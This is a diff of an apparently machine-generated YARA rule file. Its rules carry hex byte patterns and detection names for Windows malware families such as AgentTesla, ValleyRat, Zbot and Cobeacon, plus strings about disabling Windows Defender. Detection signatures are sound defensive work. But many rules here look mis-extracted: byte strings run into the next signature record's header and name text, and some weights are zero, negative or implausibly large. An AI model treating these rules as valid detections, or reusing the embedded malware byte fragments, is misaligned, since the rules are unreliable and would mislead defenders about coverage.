= {8c 90 01 } //26114 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*1536+(#a_5f_2 & 1)*26114) >=9 + +} +rule _InfrastructureShared_10862{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 61 74 2e 43 46 00 0a 00 5f 01 69 00 6f 00 73 00 00 00 68 00 00 00 74 00 00 00 74 70 00 00 3a 2f 2f 00 77 00 00 00 7a 67 6c 00 2e 00 00 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=10 + +} +rule _InfrastructureShared_10863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -110748,7 +118021,7 @@ rule _InfrastructureShared_10204{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_10205{ +rule _InfrastructureShared_10864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -110758,45 +118031,67 @@ rule _InfrastructureShared_10205{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_10206{ +rule _InfrastructureShared_10865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 44 21 4d 54 42 00 0a 00 4d 02 11 06 11 07 9a 13 08 00 11 08 6f 90 01 04 16 fe 01 13 09 11 09 2c 02 2b 28 11 08 72 90 01 03 70 28 90 01 04 13 0a 11 0a 2c 02 2b 14 07 11 } //18467 - $a_01_1 = {04 28 10 00 00 0a 6f 90 01 04 00 00 11 07 17 58 13 07 11 07 11 06 8e 69 32 90 00 01 00 05 80 01 47 65 74 54 79 01 00 06 80 01 45 6e 74 72 79 50 00 00 78 95 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 36 30 31 21 4d 54 42 00 0a 00 43 03 09 11 05 06 11 05 91 08 61 07 11 04 91 61 28 90 01 03 0a 9c 11 04 07 8e 69 17 59 fe 01 13 06 11 06 2c 05 16 13 04 2b 06 11 04 17 58 13 04 00 } //10248 - $a_58_2 = {05 11 05 06 8e 69 17 59 fe 02 16 fe 01 90 00 01 00 0b 01 49 45 6e 75 } //1297 + $a_01_1 = {04 28 10 00 00 0a 6f 90 01 04 00 00 11 07 17 58 13 07 11 07 11 06 8e 69 32 90 00 01 00 05 80 01 47 65 74 54 79 01 00 06 80 01 45 6e 74 72 79 50 00 00 78 95 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 7a 79 2e 5a 42 42 59 21 4d 54 42 00 0a 00 42 03 0a 0d 02 6f 90 01 01 00 00 0a 73 90 01 01 00 00 0a 13 04 11 04 07 6f 90 01 01 00 00 0a 17 73 90 01 01 00 00 0a 13 05 11 05 09 16 09 8e 69 6f 90 } //10248 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10248+(#a_58_2 & 1)*1297) >=12 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10248) >=12 } -rule _InfrastructureShared_10207{ +rule _InfrastructureShared_10866{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 7a 79 2e 5a 42 42 59 21 4d 54 42 00 0a 00 42 03 0a 0d 02 6f 90 01 01 00 00 0a 73 90 01 01 00 00 0a 13 04 11 04 07 6f 90 01 01 00 00 0a 17 73 90 01 01 00 00 0a 13 05 } //21539 + $a_16_1 = {8e 69 6f 90 01 01 00 00 0a } //1297 + $a_90_2 = {01 00 00 0a 11 04 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 95 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 36 30 31 21 4d 54 42 00 0a 00 43 03 09 11 05 06 11 05 91 08 61 07 11 04 91 61 28 } //1297 + condition: + ((#a_4c_0 & 1)*21539+(#a_16_1 & 1)*1297+(#a_90_2 & 1)*1297) >=12 + +} +rule _InfrastructureShared_10867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 36 30 31 21 4d 54 42 00 0a 00 43 03 09 11 05 06 11 05 91 08 61 07 11 04 91 61 28 90 01 03 0a 9c 11 04 07 8e 69 17 59 fe 01 13 06 11 06 2c 05 16 13 04 2b 06 11 04 17 58 13 04 00 11 05 17 58 13 } //18467 $a_06_1 = {8e 69 17 59 fe } //4357 - $a_01_2 = {90 00 01 00 0b 01 49 45 6e 75 6d 65 72 61 74 6f 72 01 00 07 01 54 6f 49 6e 74 33 32 01 00 07 01 43 6f 6e 76 65 72 74 00 00 78 95 00 00 16 00 16 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 32 32 33 35 21 4d 54 42 00 0a 00 23 02 6c 23 00 00 00 00 00 00 00 40 5b 23 00 00 00 00 00 00 f0 3f 59 28 90 01 04 b7 17 d6 8d 90 01 04 0c 90 00 0a 00 22 02 08 11 05 07 11 05 18 d8 18 6f 90 01 04 1f 10 28 90 01 04 9c 11 05 17 d6 13 05 11 05 11 04 31 de 90 00 01 00 07 00 4c 61 74 65 47 65 74 01 00 08 00 47 65 74 54 79 70 65 73 00 00 78 95 00 00 32 00 32 00 04 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 49 6e 74 2e 41 21 64 68 61 00 01 00 0e 01 53 68 65 6c 6c 43 } //5634 - $a_2e_3 = {6c 6c 00 01 00 0b 01 43 72 65 61 74 65 57 6f 72 6b 00 01 00 1c 01 50 61 72 61 43 6d 64 3a 69 6e 76 61 69 6c 64 20 64 61 74 61 20 70 61 63 6b 65 74 00 01 00 1e 01 50 72 6f 63 65 73 73 4d 65 73 73 61 67 65 3a 49 6e 76 61 69 6c 64 20 50 61 63 6b 65 74 00 00 00 03 00 78 96 00 00 01 00 01 00 01 00 21 23 41 } //25711 + $a_01_2 = {90 00 01 00 0b 01 49 45 6e 75 6d 65 72 61 74 6f 72 01 00 07 01 54 6f 49 6e 74 33 32 01 00 07 01 43 6f 6e 76 65 72 74 00 00 78 95 00 00 16 00 16 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 32 32 33 35 21 4d 54 42 00 0a 00 23 02 6c 23 00 00 00 00 00 00 00 40 5b 23 00 00 00 00 00 00 f0 3f 59 28 90 01 04 b7 17 d6 8d 90 01 04 0c 90 00 0a 00 22 02 08 11 05 07 11 05 18 d8 18 6f 90 01 04 1f 10 28 90 01 04 9c 11 05 17 d6 13 05 11 05 11 04 31 de 90 00 01 00 07 00 4c 61 74 65 47 65 74 01 00 08 00 47 65 74 54 79 70 65 73 00 00 78 95 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4c 4d 21 4d 54 42 00 14 00 3e 03 48 8b 44 24 48 48 ff c8 48 39 44 24 28 73 90 } //5634 + $a_8b_3 = {24 28 48 8b 4c 24 40 48 03 c8 48 8b c1 48 0f be 00 48 33 44 24 50 48 8b 4c 24 28 48 8b 54 24 20 48 03 d1 48 8b ca 88 01 90 00 0a 00 28 01 0f 31 48 c1 e2 20 48 0b c2 33 d2 b9 ff 00 00 00 48 f7 f1 48 8b c2 48 8b 4c 24 } //257 condition: - ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*4357+(#a_01_2 & 1)*5634+(#a_2e_3 & 1)*25711) >=13 + ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*4357+(#a_01_2 & 1)*5634+(#a_8b_3 & 1)*257) >=13 } -rule _InfrastructureShared_10208{ +rule _InfrastructureShared_10868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 32 32 33 35 21 4d 54 42 00 0a 00 23 02 6c 23 00 00 00 00 00 00 00 40 5b 23 00 00 00 00 00 00 f0 3f 59 28 90 01 04 b7 17 d6 8d 90 01 04 0c 90 00 0a 00 22 02 08 11 05 07 11 } //18467 - $a_18_1 = {90 01 04 1f 10 28 90 01 04 9c 11 05 17 d6 13 05 11 05 11 04 31 de 90 00 01 00 07 00 4c 61 74 65 47 65 74 01 00 08 00 47 65 74 54 79 70 65 73 00 00 78 95 00 00 32 00 32 00 04 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 49 6e 74 2e 41 21 64 68 61 00 01 00 0e 01 53 68 65 6c 6c 43 6f 64 65 2e 64 6c 6c 00 01 00 0b 01 43 72 65 61 74 65 57 6f 72 6b 00 01 00 1c 01 50 61 72 61 43 6d 64 3a 69 6e 76 61 69 6c 64 20 64 61 74 61 20 70 61 63 6b 65 74 00 01 00 1e 01 50 72 6f 63 65 73 73 4d 65 73 73 61 67 65 3a 49 6e 76 61 69 6c 64 20 50 61 63 6b 65 74 00 00 00 03 00 78 96 00 00 01 00 01 00 01 00 21 23 41 4c } //6149 - $a_72_2 = {6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 31 31 21 4d 54 42 00 01 00 67 02 ff d0 0b c0 75 90 01 01 50 eb 90 01 01 83 f8 90 01 01 75 90 01 01 68 90 01 04 eb 90 01 01 6a 90 01 01 8b 75 90 01 01 bb 90 01 04 8b 4d 90 01 01 c1 e9 90 01 01 ba } //14918 - $a_8b_3 = {90 01 01 c1 } //400 + $a_18_1 = {90 01 04 1f 10 28 90 01 04 9c 11 05 17 d6 13 05 11 05 11 04 31 de 90 00 01 00 07 00 4c 61 74 65 47 65 74 01 00 08 00 47 65 74 54 79 70 65 73 00 00 78 95 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4c 4d 21 4d 54 42 00 14 00 3e 03 48 8b 44 24 48 48 ff c8 48 39 44 24 28 73 90 01 01 48 8b 44 24 28 48 8b 4c 24 40 48 03 c8 48 8b c1 48 0f be 00 48 33 44 24 50 48 8b 4c 24 28 48 8b 54 24 20 48 03 d1 48 8b ca 88 01 90 00 0a 00 28 01 0f 31 48 c1 e2 20 48 0b c2 33 d2 b9 ff 00 00 00 48 f7 f1 48 8b c2 48 8b 4c 24 28 48 8b 54 24 20 48 03 d1 48 8b ca 88 01 00 00 78 95 00 00 32 00 32 00 04 00 21 23 4c 6f } //6149 + $a_3a_2 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 49 6e 74 2e 41 21 64 68 61 00 01 00 0e 01 53 68 65 6c 6c 43 6f 64 65 2e 64 6c 6c 00 01 00 0b 01 43 72 65 61 74 65 57 6f 72 6b 00 01 00 1c 01 50 61 72 61 43 6d 64 3a 69 6e 76 61 69 6c 64 20 64 61 74 61 20 70 61 63 6b 65 74 00 01 00 1e 01 50 72 6f 63 65 } //26231 + $a_65_3 = {73 61 67 65 3a 49 6e 76 61 69 6c 64 20 50 61 63 6b 65 74 00 00 00 03 00 78 96 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 31 31 21 4d 54 42 00 01 00 67 02 ff d0 0b c0 } //29555 condition: - ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*6149+(#a_72_2 & 1)*14918+(#a_8b_3 & 1)*400) >=22 + ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*6149+(#a_3a_2 & 1)*26231+(#a_65_3 & 1)*29555) >=22 } -rule _InfrastructureShared_10209{ +rule _InfrastructureShared_10869{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4c 4d 21 4d 54 42 00 14 00 3e 03 48 8b 44 24 48 48 ff c8 48 39 44 24 28 73 90 01 01 48 8b 44 24 28 48 8b 4c 24 40 48 03 c8 48 8b c1 48 0f be 00 48 33 44 } //21539 + $a_8b_1 = {24 28 48 8b 54 24 20 48 03 d1 48 8b ca 88 01 90 00 0a 00 28 01 0f 31 48 c1 e2 20 48 0b c2 33 d2 b9 ff 00 00 00 48 f7 f1 48 8b c2 48 8b 4c 24 28 48 8b 54 24 20 48 03 d1 48 8b ca 88 01 00 00 78 95 00 00 32 00 32 00 04 } //20516 + condition: + ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*20516) >=30 + +} +rule _InfrastructureShared_10870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 04 00 21 " @@ -110809,7 +118104,7 @@ rule _InfrastructureShared_10209{ ((#a_77_0 & 1)*19491+(#a_61_1 & 1)*29541+(#a_c1_2 & 1)*400+(#a_90_3 & 1)*257) >=50 } -rule _InfrastructureShared_10210{ +rule _InfrastructureShared_10871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110819,7 +118114,7 @@ rule _InfrastructureShared_10210{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10211{ +rule _InfrastructureShared_10872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110829,7 +118124,7 @@ rule _InfrastructureShared_10211{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10212{ +rule _InfrastructureShared_10873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110839,7 +118134,7 @@ rule _InfrastructureShared_10212{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10213{ +rule _InfrastructureShared_10874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110849,7 +118144,7 @@ rule _InfrastructureShared_10213{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10214{ +rule _InfrastructureShared_10875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110859,7 +118154,7 @@ rule _InfrastructureShared_10214{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10215{ +rule _InfrastructureShared_10876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110869,7 +118164,7 @@ rule _InfrastructureShared_10215{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10216{ +rule _InfrastructureShared_10877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -110879,7 +118174,7 @@ rule _InfrastructureShared_10216{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_10217{ +rule _InfrastructureShared_10878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -110890,7 +118185,7 @@ rule _InfrastructureShared_10217{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*14336) >=1 } -rule _InfrastructureShared_10218{ +rule _InfrastructureShared_10879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -110901,7 +118196,7 @@ rule _InfrastructureShared_10218{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*28210) >=1 } -rule _InfrastructureShared_10219{ +rule _InfrastructureShared_10880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -110913,7 +118208,7 @@ rule _InfrastructureShared_10219{ ((#a_54_0 & 1)*18467+(#a_8c_1 & 1)*1025+(#a_68_2 & 1)*318) >=1 } -rule _InfrastructureShared_10220{ +rule _InfrastructureShared_10881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110924,7 +118219,7 @@ rule _InfrastructureShared_10220{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29295) >=2 } -rule _InfrastructureShared_10221{ +rule _InfrastructureShared_10882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110935,7 +118230,7 @@ rule _InfrastructureShared_10221{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-29880) >=2 } -rule _InfrastructureShared_10222{ +rule _InfrastructureShared_10883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110946,7 +118241,7 @@ rule _InfrastructureShared_10222{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28437) >=2 } -rule _InfrastructureShared_10223{ +rule _InfrastructureShared_10884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110957,7 +118252,7 @@ rule _InfrastructureShared_10223{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*0) >=2 } -rule _InfrastructureShared_10224{ +rule _InfrastructureShared_10885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -110968,7 +118263,7 @@ rule _InfrastructureShared_10224{ ((#a_46_0 & 1)*21283+(#a_44_1 & 1)*18435) >=2 } -rule _InfrastructureShared_10225{ +rule _InfrastructureShared_10886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -110980,7 +118275,7 @@ rule _InfrastructureShared_10225{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*12857+(#a_00_2 & 1)*30720) >=2 } -rule _InfrastructureShared_10226{ +rule _InfrastructureShared_10887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -110992,7 +118287,7 @@ rule _InfrastructureShared_10226{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12800+(#a_90_2 & 1)*5128) >=2 } -rule _InfrastructureShared_10227{ +rule _InfrastructureShared_10888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -111000,12 +118295,12 @@ rule _InfrastructureShared_10227{ $a_54_0 = {3a 44 65 66 65 6e 64 65 72 4f 66 66 53 74 72 69 6e 67 73 00 01 00 17 80 01 57 69 6e 64 6f 77 73 20 64 65 66 65 6e 64 65 72 20 69 73 20 4f 46 46 01 00 19 80 01 44 69 73 61 62 6c 65 64 20 77 69 6e 64 6f 77 73 20 64 65 66 65 6e 64 65 72 01 00 1a 80 01 } //18467 $a_6c_1 = {64 20 74 6f 20 64 69 73 61 62 6c 65 20 64 65 66 65 6e 64 65 72 01 00 16 80 01 73 74 6f 70 20 77 69 6e 64 65 66 65 6e 64 20 73 65 72 76 69 63 65 00 00 78 96 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 5f 4d 61 69 6c 53 74 6f 72 65 4c 6f 67 67 65 72 00 01 00 1d 01 68 0d 00 0e 36 50 c7 45 e0 01 03 } //24902 $a_45_2 = {c0 00 00 00 c7 45 ec 00 00 00 46 ff d2 01 00 14 01 ba 43 44 44 04 2b d1 83 fa 01 0f 82 02 02 00 00 41 89 4b 04 01 00 24 01 83 f8 02 7c 70 66 8b 55 d8 66 8b 4d d4 66 89 55 e8 66 89 4d ea 83 f8 03 7c 0a 66 8b 55 e4 66 89 55 ee eb 09 01 00 0b 01 46 72 75 74 4c 6f 67 2e 74 78 74 00 00 78 96 00 00 02 00 02 00 04 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 41 6c 75 72 65 6f 6e 47 51 5f 44 6f 77 6e 6c 6f 61 64 65 72 43 6f 6d 70 6f 6e 65 6e 74 33 00 01 00 20 01 7d 00 5c 00 69 00 6e 00 70 00 72 00 6f 00 63 00 73 00 65 00 72 00 76 00 65 00 72 00 33 00 32 00 01 00 09 01 00 68 6d 6f 64 75 6c 65 00 01 00 } //2 - $a_00_3 = {5c 00 3f 00 5c 00 67 00 6c 00 6f 00 62 00 61 00 6c 00 72 00 6f 00 6f 00 74 00 25 00 53 00 01 00 09 01 00 77 6f 77 2e 69 6e 69 00 00 00 78 96 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 65 61 63 6f 6e 2e 4d 42 57 4a 21 4d 54 42 00 } //288 + $a_00_3 = {5c 00 3f 00 5c 00 67 00 6c 00 6f 00 62 00 61 00 6c 00 72 00 6f 00 6f 00 74 00 25 00 53 00 01 00 09 01 00 77 6f 77 2e 69 6e 69 00 00 00 78 96 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 48 65 72 6f 6e 2e 43 21 64 68 61 00 01 00 25 01 4c } //288 condition: ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24902+(#a_45_2 & 1)*2+(#a_00_3 & 1)*288) >=2 } -rule _InfrastructureShared_10228{ +rule _InfrastructureShared_10889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -111017,30 +118312,19 @@ rule _InfrastructureShared_10228{ ((#a_54_0 & 1)*18467+(#a_f8_1 & 1)*292+(#a_00_3 & 1)*51) >=2 } -rule _InfrastructureShared_10229{ +rule _InfrastructureShared_10890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 41 6c 75 72 65 6f 6e 47 51 5f 44 6f 77 6e 6c 6f 61 64 65 72 43 6f 6d 70 6f 6e 65 6e 74 33 00 01 00 20 01 7d 00 5c 00 69 00 6e 00 70 00 72 00 6f 00 63 00 73 00 65 00 72 00 76 00 65 00 72 00 33 00 32 00 01 00 09 01 00 68 6d 6f 64 75 6c 65 00 01 00 20 01 5c 00 5c 00 3f 00 5c 00 67 00 6c 00 6f 00 62 00 61 00 6c 00 } //19491 - $a_00_1 = {6f 00 74 00 25 00 53 00 01 00 09 01 00 77 6f 77 2e 69 6e 69 00 00 00 78 96 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 65 61 63 6f 6e 2e 4d 42 57 4a 21 4d 54 42 00 02 00 50 01 2e 72 64 61 74 61 00 00 44 4a 01 00 00 c0 03 00 00 4c 01 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 } //114 - $a_2e_2 = {61 74 61 00 00 00 60 04 00 00 00 10 05 00 00 02 00 00 00 fc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 11 01 65 78 74 00 00 00 37 aa 03 00 00 10 00 00 00 ac 03 00 00 78 96 00 } //0 + $a_00_1 = {6f 00 74 00 25 00 53 00 01 00 09 01 00 77 6f 77 2e 69 6e 69 00 00 00 78 96 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 48 65 72 6f 6e 2e 43 21 64 68 61 00 01 00 25 01 4c 6e 6b 42 6f 74 42 75 69 6c 64 65 72 2e 43 6f 72 65 2e 48 61 6e 64 6c 65 72 73 2e 4f 62 66 75 63 61 73 65 64 01 00 28 01 4c } //114 + $a_6f_2 = {42 75 69 6c 64 65 72 2e 43 6f 72 65 2e 48 61 6e 64 6c 65 72 73 2e 57 6f 72 6b 54 79 70 65 42 6f 74 73 01 00 15 01 4f 42 66 75 63 61 73 65 64 53 63 72 69 70 74 2e 55 74 69 6c 73 00 00 78 96 00 00 03 } //27502 condition: - ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*114+(#a_2e_2 & 1)*0) >=2 + ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*114+(#a_6f_2 & 1)*27502) >=2 } -rule _InfrastructureShared_10230{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 65 61 63 6f 6e 2e 4d 42 57 4a 21 4d 54 42 00 02 00 50 01 2e 72 64 61 74 61 00 00 44 4a 01 00 00 c0 03 00 00 4c 01 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 } //21539 - $a_00_1 = {00 40 2e 64 61 74 61 00 00 00 60 04 00 00 00 10 05 00 00 02 00 00 00 fc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 11 01 65 78 74 00 00 00 37 aa 03 00 00 10 00 00 00 ac 03 00 } //0 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*0) >=3 - -} -rule _InfrastructureShared_10231{ +rule _InfrastructureShared_10891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111052,7 +118336,7 @@ rule _InfrastructureShared_10231{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*17012+(#a_75_2 & 1)*-5003) >=3 } -rule _InfrastructureShared_10232{ +rule _InfrastructureShared_10892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111064,7 +118348,7 @@ rule _InfrastructureShared_10232{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*513+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_10233{ +rule _InfrastructureShared_10893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111076,7 +118360,7 @@ rule _InfrastructureShared_10233{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25916+(#a_58_2 & 1)*26112) >=3 } -rule _InfrastructureShared_10234{ +rule _InfrastructureShared_10894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111088,7 +118372,7 @@ rule _InfrastructureShared_10234{ ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*-12149+(#a_2e_2 & 1)*28482) >=3 } -rule _InfrastructureShared_10235{ +rule _InfrastructureShared_10895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111100,7 +118384,7 @@ rule _InfrastructureShared_10235{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26995+(#a_00_2 & 1)*2704) >=3 } -rule _InfrastructureShared_10236{ +rule _InfrastructureShared_10896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111112,7 +118396,7 @@ rule _InfrastructureShared_10236{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25455+(#a_32_2 & 1)*28985) >=3 } -rule _InfrastructureShared_10237{ +rule _InfrastructureShared_10897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111124,7 +118408,7 @@ rule _InfrastructureShared_10237{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*28249+(#a_70_2 & 1)*29252) >=3 } -rule _InfrastructureShared_10238{ +rule _InfrastructureShared_10898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111136,7 +118420,7 @@ rule _InfrastructureShared_10238{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2117+(#a_38_2 & 1)*12851) >=3 } -rule _InfrastructureShared_10239{ +rule _InfrastructureShared_10899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111147,7 +118431,7 @@ rule _InfrastructureShared_10239{ ((#a_54_0 & 1)*19747+(#a_37_1 & 1)*17709) >=3 } -rule _InfrastructureShared_10240{ +rule _InfrastructureShared_10900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111158,7 +118442,7 @@ rule 